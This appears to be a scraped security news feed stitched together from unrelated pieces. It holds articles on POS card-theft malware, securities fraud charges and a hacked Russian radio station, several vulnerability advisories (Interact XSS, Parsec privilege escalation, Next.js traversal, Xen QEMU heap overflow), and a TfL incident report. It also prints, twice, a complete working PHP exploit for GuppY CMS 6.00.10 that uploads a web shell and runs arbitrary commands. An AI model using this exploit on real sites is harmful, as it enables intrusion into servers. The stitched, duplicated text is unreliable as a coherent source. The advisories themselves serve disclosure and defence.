Categories: News
Tags: POS

Tags:  malware

Tags:  credit card

Tags:  credit identity theft

Tags:  C2

Tags:  MajikPOS

Tags:  Treasure Hunter

Researchers have discovered the theft of 167,000 sets of credit card detials by MajikPOS and Treasure Hunter POS malware



(Read more...)




The post Point-of-sale malware used to steal 167,000 credit cards appeared first on Malwarebytes Labs.

In the 19 months between February 2021 and September 2022, two point-of-sale (POS) malware operators have stolen more than 167,000 payment records, mainly from the US, according to researchers at Group-IB. The researchers were able to retrieve information about infected machines and compromised credit cards by analyzing a command and control (C2) server used by the malware.

POS malware is designed to steal debit and credit card data from POS machines in retail stores. It does this by harvesting the temporarily unencrypted card data from the machine’s memory. Due to improved security measures against this type of theft in most countries, this type of malware isn't as widely used as it once was, although it never disappeared completely.

**The malware**

The researchers found badly configured control panels for two different strains of POS malware, MajikPOS and Treasure Hunter. A possible explanation is that the operatros started out using Treasure Hunter and adapted MajikPOS at a later time. This is likely because the source code for MajikPOS has been circulating on the Dark Web and it offers additional features compared to Treasure Hunter.

The basic ability of all POS malware is the same—to steal sensitive card payment details from the RAM of a POS device where the data can be found in an unencrypted form. But different families offer other options when it comes to persistence and processing stolen data.

The machines targeted by the malware were found by scanning for remote desktop applications like RDP and VNC, and then guessing their passwords. Successfully guessing their passwords gave the attackers the same access to those computers as they would get if they were actually sat in front of them.

During the investigation, Group-IB specialists analyzed around 77,400 unique card dumps from the MajikPOS panel and about 90,000 from the Treasure Hunter panel. Most of the stolen cards were issued by US banks, and most of the infected POS terminals are located in the US.

The average price for a single card dump is around $20, so if the threat actors were able to sell the stolen dumps on an underground market, they could have made in excessive of $3 million.

**Credit identity theft**

Credit identity theft happens when a scammer steals your credit card data and uses it to make fraudulent purchases or obtains a credit card or loan under your name. According to the FTC, people who suspect they are the victim of credit identity theft should contact their bank or credit card company to cancel their card and request a new one. If you get a new card, don’t forget to update any automatic payments with your new card number.

To find out if you are a vicitm:

*   Review your transactions regularly, to make sure no one has misused your card.
*   If you find fraudulent charges, call the fraud department and get them removed.
*   Check your credit report at annualcreditreport.com.

**Mitigation**

All the usual, basic (and effective) security advice applies to POS device owners. If you operate POS machines:

*   Implement a plan for patching software in a timely manner
*   Protect passwords with two-factor authentication, preferably FIDO 2
*   Use a strong password policy and rate limiting to further protect passwords
*   Run endpoint security software with EDR to detect malware and intruders
*   Assign access rights according to the Principle of Least Privilege
*   Segment networks to slow down lateral movement

Point-of-sale malware used to steal 167,000 credit cards

By Habiba Rashid
According to the SEC, the accused used Twitter and Discord to carry out a securities fraud scheme, garnering approximately $114 million from it.
This is a post from HackRead.com Read the original post: SEC Charges 8 Social Media Influencers Over Securities Fraud

It is alleged that since at least January 2020, the accused social media influencers “promoted themselves as successful traders,” to encourage their followers to buy stocks that they had purchased.

On December, 14th, 2022, US Prosecutors charged seven **social media influencers** with using Twitter and Discord to carry out a securities fraud scheme, garnering approximately $114 million from it.

These social media influencers are alleged to promote themselves as successful traders and cultivate hundreds of thousands of followers on Twitter and in stock trading chat rooms on Discord. 

The eighth defendant, Daniel Knight, was charged with aiding and abetting the alleged scheme in the US Securities And Exchange Commission (SEC)’s civil complaint.

Knight, through his podcast, promoted the other defendants as expert traders, directing followers towards their forums. He also had arrangements with others to trade and regularly generate profits from manipulation. 

“Securities fraud victimizes innocent investors and undermines the integrity of our public markets,” said Assistant Attorney General Kenneth Polite of the Justice Department’s Criminal Division.

The DOJ charged all eight defendants with conspiracy to commit security fraud. According to SEC’s **press release**, the following social media influencers were charged:

**Name**

**State of Residence**

**Twitter Handle**

Perry Matlock    

Texas

@PJ\_Matlock

Edward Constantin

Texas

@MrZackMorris

Thomas Cooperman

California

@ohheytommy

Gary Deel

California

@notoriousalerts

Mitchell Hennessey

New Jersey

@Hugh\_Henne

Stefan Hrvatin 

Florida

@LadeBackk

John Rybarczyk

Texas

@Ultra\_Calls

Daniel Knight

Texas

@DipDeity

It is also alleged that since at least January 2020, these so-called **social media influencers** “promoted themselves as successful traders,” to encourage their followers to buy stocks that they had purchased.

Further, after the stock prices and/or trading volumes artificially rose, they regularly sold their shares without informing their followers about their plans to dump the securities.

The criminal complaint and civil lawsuit both were filed in the US District Court for the Southern District of Texas. 

**What Is Securities Fraud?**

Securities fraud, also known as stock fraud and investment fraud, is a type of white-collar crime that happens in the stock and commodity markets. It’s a form of deception used to create fraudulent trades through manipulation or deception.

The goal is to benefit the person committing the fraud while impacting innocent investors and damaging financial markets.

Securities fraud can come in many forms such as insider trading, front-running, pump-and-dump schemes, false advertising, accounting scams and Ponzi schemes. Insider trading occurs when someone with access to important non-public information uses it for their own gain before it becomes public knowledge. Front running involves using information that has not been publicly disseminated to buy or sell securities at an advantage over other investors.

**Protect Against Securities Fraud**

The first step towards protecting yourself is to do research and make sure you understand the terms associated with any investments you’re considering. Ask questions, look at independent sources of information such as financial magazines and websites, and check the credentials of any financial professionals you’re working with. Be wary if anything seems too good to be true and never invest in something based solely on a salesperson’s promises or claims.

1.  **Scammers Made Deepfake AI Hologram of Binance Executive**
2.  **FBI arrests Instagrammer Ray Hushpuppi over $125m BEC scam**
3.  **Why Uploading Your Personal Data on Social Media is a Bad Idea**
4.  **Scammers bought Twitter ads to run verified badge phishing scam**
5.  **Sultry Sextortion Sisters Meet Their Match In Nigerian Oil Billionaire**

I’m a student and cybersecurity writer. On a random Sunday, I am likely to be figuring out life and reading Kafka.

SEC Charges 8 Social Media Influencers Over Securities Fraud

By Waqas
The Kommersant FM’s online bulletin was suddenly interrupted to play Ukraine’s anthem and anti-war songs by anti-war hackers…
This is a post from HackRead.com Read the original post: Russian Radio Station Hacked to Broadcast Ukrainian National Anthem

****The Kommersant FM’s online bulletin was suddenly interrupted to play Ukraine’s anthem and anti-war songs by anti-war hackers to protest against Vladimir Putin’s invasion of Ukraine.****

The online bulletin broadcast of a Russian radio station, Kommersant FM, was interrupted on Wednesday. The content was replaced with the Ukrainian national anthem and antiwar songs. However, the broadcast was quickly taken off the air. The station released the following statement to confirm the hack:

> “The radio station has been hacked. The internet stream will soon be reinstated.”

Kommersant FM’s editor-in-chief, Alexey Vorobyov, told the state-owned news agency, Tass, that the online stream was hacked on Wednesday, and their technical specialists were figuring out the attack’s origin.

**Details of the Incident**

The hackers disrupted the lunchtime bulletin of the targeted radio station, which is Kommersant newspaper’s radio offshoot. BBC Monitoring reporter Francis Scarr tweeted that the radio station played the Ukrainian anthem “Oh, the Red Viburnum in the Meadow.”

Moreover, the hackers played Russian rock band Nogu Svelo! ‘s song titled “We Don’t Need a War,” featuring a quote from Russia’s foreign minister Sergei Lavrov which means “a tough guy always keeps his word.”

Check out the recording of the Ukrainian national anthem playing on Kommersant FM after the hacking.

**About Kommersant FM**

Uzbek billionaire Alisher Usmanov owns the hacked radio station. The US and the EU sanctioned him after the invasion of Ukraine due to his alleged link with the Russian president Putin. However, Usmanov has challenged the sanctions, and a decision is expected soon.

1.  Hackers disrupt Chicago police radios with anti-cop songs
2.  Someone hacked N. Korean Radio Station to Play “The Final Countdown”
3.  Anonymous hacked Russian TV and streaming services with war footage
4.  Hackers can take over & control emergency alarm system with a $35 radio
5.  Anonymous hacks Russian TV, EV charging station with pro-Ukraine messages

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Russian Radio Station Hacked to Broadcast Ukrainian National Anthem

GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability.

    # Exploit Title: GuppY 6.00.10 CMS Remote Code Execution# Date: Sep 30, 2022# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.freeguppy.org/# Software Link:https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2# Version: 6.00.10# Tested on: Linux#!/usr/bin/php<?php$username = "Admin"; //Administrator username$password = "rose1337"; //Administrator password$options = getopt('u:c:');if(!isset($options['u'], $options['c']))die("\n GuppY 6.00.10 CMS Remote Code Execution \n Author: Chokri Hammedi\n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n\n");$target     =  $options['u'];$command    =  $options['c'];// Administrator login$cookie="cookie.txt";$url = "{$target}guppy/connect.php";$postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;$curlObj = curl_init();curl_setopt($curlObj, CURLOPT_URL, $url);curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curlObj, CURLOPT_HEADER, 1);curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata);curl_setopt ($curlObj, CURLOPT_POST, 1);CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");$result = curl_exec($curlObj);// uploading shell$url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";$post='------WebKitFormBoundarygA1APFcUlkIaWal4Content-Disposition: form-data; name="rep"file------WebKitFormBoundarygA1APFcUlkIaWal4Content-Disposition: form-data; name="ficup"; filename="shell.php"Content-Type: application/x-php<?php system($_GET["cmd"]); ?>------WebKitFormBoundarygA1APFcUlkIaWal4--';$headers = array(            'Content-Type: multipart/form-data;boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',            'Accept-Encoding: gzip, deflate',            'Accept-Language: en-US,en;q=0.9');curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers);curl_setopt($curlObj, CURLOPT_URL, $url2);curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post);curl_setopt($curlObj, CURLOPT_POST, true);curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");$data = curl_exec($curlObj);// Executing the shell$shell = "{$target}guppy/file/shell.php?cmd=" .$command;curl_setopt($curlObj, CURLOPT_URL, $shell);curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type:application/x-www-form-urlencoded'));curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False);CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);curl_setopt($curlObj, CURLOPT_HEADER, False);curl_setopt($curlObj, CURLOPT_POST, false);$exec_shell = curl_exec($curlObj);$code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);if($code != 200) {    echo "\n\n \e[5m\033[31m[-]Something went wrong! \n [-]Please check thecredentials\n";}else {print("\n");print($exec_shell);}curl_close($curlObj);?>

GuppY CMS 6.00.10 Shell Upload

GuppY CMS 6.00.10 is vulnerable to Unrestricted File Upload which allows remote attackers to execute arbitrary code by uploading a php file.

**GuppY CMS v6.00.10 - Remote Code Execution**

**Platform:****PHP**

**Date:****2023-03-25**

  

    # Exploit Title: GuppY CMS v6.00.10 - Remote Code Execution
    # Date: Sep 30, 2022
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.freeguppy.org/
    # Software Link:
    https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2
    # Version: 6.00.10
    # Tested on: Linux
    
    #!/usr/bin/php
    
    <?php
    
    $username = "Admin2"; //Administrator username
    $password = "rose1337"; //Administrator password
    
    
    $options = getopt('u:c:');
    
    if(!isset($options['u'], $options['c']))
    die("\n GuppY 6.00.10 CMS Remote Code Execution \n Author: Chokri Hammedi
    \n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n
    
    \n");
    
    $target     =  $options['u'];
    
    $command    =  $options['c'];
    
    // Administrator login
    
    $cookie="cookie.txt";
    $url = "{$target}guppy/connect.php";
    
    $postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;
    $curlObj = curl_init();
    
    curl_setopt($curlObj, CURLOPT_URL, $url);
    curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curlObj, CURLOPT_HEADER, 1);
    curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt ($curlObj, CURLOPT_POST, 1);
    CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
    CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
    CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
    CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
    curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
    curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");
    $result = curl_exec($curlObj);
    
    
    // uploading shell
    
    $url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";
    
    $post='------WebKitFormBoundarygA1APFcUlkIaWal4
    Content-Disposition: form-data; name="rep"
    
    file
    ------WebKitFormBoundarygA1APFcUlkIaWal4
    Content-Disposition: form-data; name="ficup"; filename="shell.php"
    Content-Type: application/x-php
    
    <?php system($_GET["cmd"]); ?>
    
    ------WebKitFormBoundarygA1APFcUlkIaWal4--
    ';
    
    $headers = array(
    
    
                'Content-Type: multipart/form-data;
    boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
    
                'Accept-Encoding: gzip, deflate',
                'Accept-Language: en-US,en;q=0.9'
    );
    curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($curlObj, CURLOPT_URL, $url2);
    curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post);
    curl_setopt($curlObj, CURLOPT_POST, true);
    curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
    CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
    CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
    CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
    CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
    curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
    curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");
    
    $data = curl_exec($curlObj);
    
    
    // Executing the shell
    
    
    $shell = "{$target}guppy/file/shell.php?cmd=" .$command;
    curl_setopt($curlObj, CURLOPT_URL, $shell);
    curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type:
    application/x-www-form-urlencoded'));
    curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False);
    CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
    curl_setopt($curlObj, CURLOPT_HEADER, False);
    curl_setopt($curlObj, CURLOPT_POST, false);
    
    $exec_shell = curl_exec($curlObj);
    
    $code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);
    
    if($code != 200) {
        echo "\n\n \e[5m\033[31m[-]Something went wrong! \n [-]Please check the
    credentials\n";
    }
    else {
    
    print("\n");
    print($exec_shell);
    
    }
    curl_close($curlObj);
    
    ?>

CVE-2023-31903: OffSec’s Exploit Database Archive

Interact 7.9.79.5 allows stored Cross-site Scripting (XSS) attacks in several locations, allowing an attacker to store a JavaScript payload.

**Abstract Advisory Information**

The feature, to attach a document to a post, is prone to stored Cross-site Scripting (XSS) attacks in several locations allowing an attacker to store a JavaScript payload.

Author: Dominique Righetto

**Version affected**

Name: Interact Software

Versions: 7.9.79.5

**Common Vulnerability Scoring System**

CVSS SCORE 5.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

**Patch**

No patch available

**References**

CVE – CVE-2023-41103 (mitre.org)

**Vulnerability Disclosure Timeline**

*   *   20/05/2022: Vulnerability discovery
    *   22/05/2022: Vulnerability Report to CERT-XLM
    *   05/06/2022: Vulnerability Report to Vendor through investigation
    *   05/06/2022: Vulnerability Report to Vendor through investigation
    *   13/06/2022: Vulnerability Report to Vendor through investigation
    *   20/06/2022: Community account creation asked to InteractSoftware to contact their technical departement
    *   20/06/2022: Vulnerability Report to Vendor through investigation
    *   20/06/2022: Urge vendor to reply via twitter
    *   04/07/2023: Update asking to vendor through investigation
    *   04/07/2023: Update asking to vendor for the community account creation
    *   15/07/2023: Ticket for a community account creation closed
    *   17/07/2023: Reply to help@interact-intranet.com asking for an update
    *   19/07/2023: Reply to help@interact-intranet.com asking for an update
    *   01/08/2023: Phonecall to +1 (646) 564 5775, gave vendor information for them to reach us back
    *   01/08/2023: Phonecall to +1 (646) 564 5775
    *   16/08/2023: Phonecall to +1 (646) 564 5775, got redirected to help@interactsoftware.com.
    *   16/08/2023: Update asked to help@interactsoftware.com.
    *   16/08/2023: Request CVE ID to Mitre
    *   23/08/2023: CVE IDs assigned : CVE-2023-41103
    *   24/08/2023: Vulnerabilty disclosure

Our website uses cookies technologies to assist with navigation and your ability to provide feedback, analyze your use of our products and services, to enable you to use the social media functionalities and assist with our promotional and marketing efforts, and provide content from third parties. You may choose to opt-out from all non-essential cookies or allow them for a better browsing experience.  
For more information on the use of cookies, Please check our Privacy Notice ACCEPT REJECT SETTINGS

CVE-2023-41103: CVE-2023-41103 - Excellium Services

Unity Parsec before 8 has a TOCTOU race condition that permits local attackers to escalate privileges to SYSTEM if Parsec was installed in "Per User" mode. The application intentionally launches DLLs from a user-owned directory but intended to always perform integrity verification of those DLLs.

**Overview**

Parsec updater for Windows was prone to a local privilege escalation vulnerability, this vulnerability allowed a local user with Parsec access to gain NT\_AUTHORITY/SYSTEM privileges.

**Description**

The vulnerability is a time-of-check time–of-use (TOCTOU) vulnerability. There existed a small window between verifying the signature and integrity of the update DLL and the execution of DLL main.

By exploiting this race condition, a local attacker could swap out the officially signed Parsec DLL with a DLL that they created, which would subsequently be executed as the SYSTEM user as described in CVE-2023-37250.

**CVE-2023-37250** The application launches DLLs from a User owned directory. Since the user owns both the DLL file and the directory, it is possible to (successfully) attempt tricking Parsec into loading an unsigned/arbitrary DLL file and execute its DllMain() method with SYSTEM privileges, creating a Local Privilege Escalation vulnerability.

**Impact**

By exploiting this race condition, a local attacker could swap out the officially signed Parsec DLL with a DLL that they created, which would subsequently be executed as the SYSTEM user.

**Solution**

The vulnerability applies to a "Per User" installation as opposed to a "Shared User". There is an update that has been made available. To force an update, you can either completely quit, and re-open the application several times until the loader is updated (by confirming in the logs). Or you can download a special installer that only updates the files inside of the program files that can be downloaded from https://builds.parsec.app/package/parsec-update-executables.exe.

**Acknowledgements**

Thanks to the reporter, Julian Horoszkiewicz.This document was written by Timur Snoke.

**Vendor Information**

Filter by content: Additional information available

 Sort by:

  

**References**

*   https://atos.net/en/lp/securitydive/roaming-and-racing-to-get-system-cve-2023-37250
*   https://support.parsec.app/hc/en-us/articles/18311425588237-CVE-2023-37250

**Other Information**

**CVE IDs:**

CVE-2023-37250

**API URL:**

VINCE JSON | CSAF

**Date Public:**

2023-08-16

**Date First Published:**

2023-08-16

**Date Last Updated:**

2023-08-16 16:18 UTC

**Document Revision:**

1

CVE-2023-37250: CERT/CC Vulnerability Note VU#287122

ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.

**This upgrade is _completely backwards compatible and recommended for all users_**  
**For future security related communications of our OSS projects, please join this mailing list**

We were notified of a directory traversal issue under the /_next and /static request namespace.  
An attacker can craft a request that accesses potentially sensitive information in your filesystem.

tl;DR: the fix is live as a patch release and we're working together with a security firm to audit our OSS codebases routinely and avoid issues in the future.

**How to upgrade**

*   We have released patch versions of the stable and beta releases.
*   The following versions fix this bug and include precautions to avoid  
    similar problems in the future
    *   next@2.4.1
    *   next@3.0.0-beta7
*   Run npm install next@2.4.1 --save

**Who is affected**

*   **Affected**: Users of Next.js prior to this release
*   **Not affected**: Deployments on https://now.sh (like https://zeit.co) are mitigated
*   **Not affected**: Static deployments via next export

We recommend _everyone to upgrade regardless of whether you can reproduce the issue or not_.

Container-based deployments, chroot environments and virtualization users are at significantly less risk of sensitive data exposure. In most scenarios, an attacker would only be able to access frontend JavaScript components exclusively.

**How to assess impact**

If you think sensitive code or data could have been exposed, please filter logs of affected sites by .. (excluding quotes in all cases) and check for 200 responses.

**What is being done**

As Next.js has grown in popularity, it has received the attention of security researchers and auditors. We are thankful to @ru\_raz0r for his investigation and discovery of the original bug and subsequent responsible disclosure.

*   We have notified large deployments of Next.js in advance of this publication.
*   If you want to stay on top of our security related news impacting Next.js or other projects, please join this mailing list.
*   We are also very happy to announce that we're working together with Lift Security / Node Security on an audit of all our OSS projects in a recurring basis to ensure a safe experience for everyone.
*   We encourage responsible disclosure of future issues. Please email us at **security@zeit.co**. We are actively monitoring this mailbox.

CVE-2017-16877: Release 2.4.1 · vercel/next.js

Transport for London (TfL) is apparently fighting a cybersecurity incident but is rather sparing in providing details

Transport for London (TfL), the city’s transport authority, is fighting through an ongoing cyberattack. TfL runs three separate units that arrange transports on London’s surface, underground, and Crossrail transportation systems. It serves some 8 million inhabitants of the London metropolitan area.

In a public notice Transport for London stated:

> “We are currently dealing with an ongoing cyber security incident. At present, there is no evidence that any customer data has been compromised and there has been no impact on TfL services.
> 
> The security of our systems and customer data is very important to us, and we have taken immediate action to prevent any further access to our systems.”

The incident does have some impact though, as TfL took the contactless website for purchasing tickets offline for “maintenance.” This maintenance was not announced earlier though, which they likely would have done under normal circumstances.

The contactless website is used to purchase online tickets, upgrade travelcards (Oystercards), check travel history, and request refunds.

In a short thread on X, TfL said it is working with the National Crime Agency and the National Cyber Security Centre to investigate and respond to the incident.

> Hi, thanks for getting in touch. We are working to resolve this as soon as possible. We need to complete our full assessment, but there is currently no evidence that any customer data has been compromised, or impact on TfL services. We are working closely with the

> National Crime Agency and the National Cyber Security Centre to respond to the incident. We are continuing to work to assist our customers here in the usual manner. Thanks, SW.

According to security researcher Kevin Beaumont:

> “Transport for London have a genuine internal security incident running and are reverting to paper processes.”

Since TfL is keeping rather quiet about the incident it is hard to asses whether this disruption is the result of a ransomware attack or something else.

We’ll keep you posted if we learn more.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 London’s city transport hit by cybersecurity incident 

Heap-based buffer overflow in the PCNET controller in QEMU allows remote attackers to execute arbitrary code by sending a packet with TXSTATUS_STARTPACKET set and then a crafted packet with TXSTATUS_DEVICEOWNS set.

**Information**

Advisory

XSA-135

Public release

2015-06-10 13:10

Updated

2015-06-10 13:10

Version

3

CVE(s)

CVE-2015-3209

Title

Heap overflow in QEMU PCNET controller, allowing guest->host escape

**Files**advisory-135.txt (signed advisory file)  
xsa135-qemut-1.patch  
xsa135-qemut-2.patch  
xsa135-qemuu-unstable.patch  
xsa135-qemuu-4.2-1.patch  
xsa135-qemuu-4.2-2.patch  
xsa135-qemuu-4.3-1.patch  
xsa135-qemuu-4.3-2.patch  
xsa135-qemuu-4.5-1.patch  
xsa135-qemuu-4.5-2.patch**Advisory**

\-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

            Xen Security Advisory CVE-2015-3209 / XSA-135
                              version 3

 Heap overflow in QEMU PCNET controller, allowing guest->host escape

UPDATES IN VERSION 3
====================

Public release.

ISSUE DESCRIPTION
=================

The QEMU security team has predisclosed the following advisory:

    pcnet\_transmit loads a transmit-frame descriptor from the guest into the
    /tmd/ local variable to recover a length field, a status field and a
    guest-physical location of the associated frame buffer. If the status
    field indicates that the frame buffer is ready to be sent out (i.e. by
    setting the TXSTATUS\_DEVICEOWNS, TXSTATUS\_STARTPACKET and
    TXSTATUS\_ENDPACKET bits on the status field), the PCNET device
    controller pulls in the frame from the guest-physical location to
    s->buffer (which is 4096 bytes long), and then transmits the frame.

    Because of the layout of the transmit-frame descriptor, it is not
    possible to send the PCNET device controller a frame of length > 4096,
    but it /is/ possible to send the PCNET device controller a frame that is
    marked as TXSTATUS\_STARTPACKET, but not TXSTATUS\_ENDPACKET. If we do
    this - and the PCNET controller is configured via the XMTRL CSR to
    support split-frame processing - then the pcnet\_transmit functions loops
    round, pulling a second transmit frame descriptor from the guest. If
    this second transmit frame descriptor sets the TXSTATUS\_DEVICEOWNS and
    doesn't set the TXSTATUS\_STARTPACKET bits, this frame is appended to
    the s->buffer field.

    An attacker can then exploit this vulnerability by sending a first
    packet of length 4096 to the device controller, and a second frame
    containing N-bytes to trigger an N-byte heap overflow.

    On 64-bit QEMU, a 24-byte overflow allows the guest to take control of
    the phys\_mem\_write function pointer in the PCNetState\_st structure, and
    this is called when trying to flush the updated transmit frame
    descriptor back to the guest. By specifying the content of the second
    transmit frame, the attacker therefore gets reliable fully-chosen
    control of the host instruction pointer, allowing them to take control
    of the host.

IMPACT
======

A guest which has access to an emulated PCNET network device
(e.g. with "model=pcnet" in their VIF configuration) can exploit this
vulnerability to take over the qemu process elevating its privilege to
that of the qemu process.

VULNERABLE SYSTEMS
==================

All Xen systems running x86 HVM guests without stubdomains which have
been configured to use the PCNET emulated driver model are
vulnerable.

The default configuration is NOT vulnerable (because it does not
emulate PCNET NICs).

Systems running only PV guests are NOT vulnerable.

Systems using qemu-dm stubdomain device models (for example, by
specifying "device\_model\_stubdomain\_override=1" in xl's domain
configuration files) are NOT vulnerable.

Both the traditional "qemu-xen" or upstream qemu device models are
potentially vulnerable.

ARM systems are NOT vulnerable.

MITIGATION
==========

Avoiding the use of emulated network devices altogether, by specifying
a PV only VIF in the domain configuration file will avoid this
issue.

Avoiding the use of the PCNET device in favour of other emulations
will also avoid this issue.

Enabling stubdomains will mitigate this issue, by reducing the
escalation to only those privileges accorded to the service domain.

qemu-dm stubdomains are only available with the traditional "qemu-xen"
version.

CREDITS
=======

This issue was discovered by Matt Tait of Google and reported to us
via the QEMU security team.

RESOLUTION
==========

Applying the appropriate attached patch(es) resolves this issue.

xsa135-qemuu-unstable.patch  qemu-upstream, Xen unstable
xsa135-qemuu-4.5-\*.patch     qemu-upstream, Xen 4.5.x, Xen 4.4.x
xsa135-qemuu-4.3-\*.patch     qemu-upstream, Xen 4.3.x
xsa135-qemuu-4.2-\*.patch     qemu-upstream, Xen 4.2.x
xsa135-qemut-\*.patch         qemu-xen-traditional, Xen unstable, 4.5.x, 4.4.x, 4.3.x, 4.2.x

Note that the second patch for qemu-xen-traditional (all versions),
and qemu-upstream 4.3.x and 4.2.x are identical. Likewise
xsa135-qemuu-unstable.patch is the same as
xsa135-qemuu-4.5-2.patch. They are presented separately for
convenience.

$ sha256sum xsa135\*.patch
a40897166f5de84c11b5d547191cd0375c7052edb0f44940eec7b78d839e447b  xsa135-qemut-1.patch
d98452d4c42fae1f11e887537a4638694de8a4bf00835daac6e51801297e4091  xsa135-qemut-2.patch
099693483d468a7fdecbf825635d3595ebeecc91c496624cbe109dcb4dd235da  xsa135-qemuu-unstable.patch
12ca5521f6bb1227934a1711d8adee11138a84c080a217f250efe34b3cb25b10  xsa135-qemuu-4.2-1.patch
d98452d4c42fae1f11e887537a4638694de8a4bf00835daac6e51801297e4091  xsa135-qemuu-4.2-2.patch
ad32c0ac145bc02b901c061fcbef83965f443fe89fcae9efc3b1dfd1e1d70bc8  xsa135-qemuu-4.3-1.patch
d98452d4c42fae1f11e887537a4638694de8a4bf00835daac6e51801297e4091  xsa135-qemuu-4.3-2.patch
baf9e0a960693b246ff01bb6210c5fee7713999d1e1b00a5b4e29d9ebd3c0ce8  xsa135-qemuu-4.5-1.patch
099693483d468a7fdecbf825635d3595ebeecc91c496624cbe109dcb4dd235da  xsa135-qemuu-4.5-2.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of patches or mitigations is NOT permitted (except on
systems used and administered only by organisations which are members
of the Xen Project Security Issues Predisclosure List).  Specifically,
deployment on public cloud systems is NOT permitted.

The decision not to permit deployment was made by the group that, at
their discretion, disclosed the issue to the Xen Project Security
Team.

Deployment is permitted only AFTER the embargo ends.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQEcBAEBAgAGBQJVeDc3AAoJEIP+FMlX6CvZFBoIAJw/FxeABrdms6CzoxZxFQRp
It9eoMcmP+cxjMuAJyO771s+wYZy/X+ZDM2+CmzDWdBOzst3/YVw0ePbNH1T86y6
23Miqm5zupJ30xQGIXledrd/S23tmRlmzylytJcI9UQktuAOnL50l+wovKwhxVtO
x2Dg4P6RZ51twfbYLueIjBe2YSGGrck0kugpDtD6dH6kONNFgA+30i11Unwip18b
FzKm54b5HIvSoOkXCggCdgaCOmAuz3LpAt7FfB1324dPblxlfrDyRxWABxn47qoL
lgTJa7DPRTdxYM7EmnpMHKakgqzhD+Vu2Jnz8RELXt+AQH3TxRYXS2kT22QpfxY=
=cx83
-----END PGP SIGNATURE-----

Xenproject.org Security Team

Search

lenovo warranty check/lookup | check warranty status | lenovo support us